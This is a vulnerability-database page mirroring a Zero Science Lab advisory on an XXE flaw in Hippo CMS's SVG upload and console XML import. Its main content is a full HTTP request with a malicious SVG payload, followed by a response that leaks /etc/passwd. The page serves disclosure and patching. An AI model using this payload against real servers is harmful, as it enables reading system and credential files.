Lucene search
K

Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability

🗓️ 30 Jan 2016 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 63 Views

Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability impacting 10.1, 7.9, and 7.8 EE

Code
<html><body><p>Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability


Vendor: Hippo B.V.
Product web page: http://www.onehippo.org
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)

Summary: Hippo CMS is an open source Java CMS. We built it so you
can easily integrate it into your existing architecture.

Desc: XXE (XML External Entity) processing through upload of SVG
images in the CMS, and through XML import in the CMS Console application.

Tested on: Linux 2.6.32-5-xen-amd64
           Java/1.8.0_66
           Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5301
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5301.php

Vendor: http://www.onehippo.org/security-issues-list/security-12.html
        http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html


04.12.2015

---


[Request]:


POST /?1-8.IBehaviorListener.0-root-tabs-panel~container-cards-2-panel-center-tabs-panel~container-cards-3-panel-editor-extension.editor-form-template-view-3-item-view-1-item-extension.upload-fileUpload-form-fileUpload HTTP/1.1
Host: 10.0.2.17
User-Agent: ZSL_Web_Scanner/2.8
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://10.0.2.17/?1&amp;path=/content/gallery/test4.svg
Content-Length: 2101
Content-Type: multipart/form-data; boundary=---------------------------20443294602274
Cookie: [OMMITED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


-----------------------------20443294602274
Content-Disposition: form-data; name="id1a0_hf_0"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:1:item
:view:1:item:value:widget"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item
:view:1:item:view:1:item:view:1:item:value:widget"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item
:view:1:item:view:2:item:view:1:item:value:widget"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
:view:1:item:view:1:item:value:widget"

asd
-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
:view:2:item:view:1:item:value:widget"

hhh
-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
:view:3:item:view:1:item:panel:editor"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right
:view:2:item:view:1:item:value:widget"

hhh
-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right
:view:3:item:view:1:item:value:widget"

hhhh
-----------------------------20443294602274
Content-Disposition: form-data; name="files[]"; filename="svgupload2.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="yes"?><!DOCTYPE zsl>
 ]
&gt;<svg height="40px" version="1.1" width="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999
/xlink">&amp;xxe;</svg>
-----------------------------20443294602274--



[Response]:


<?xml version="1.0" encoding="UTF-8"?><svg height="7" version="1.1" viewbox="0 0 500.0 40.0" width="98" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www
.w3.org/1999/xlink">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
***
***
***
***
</svg>
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation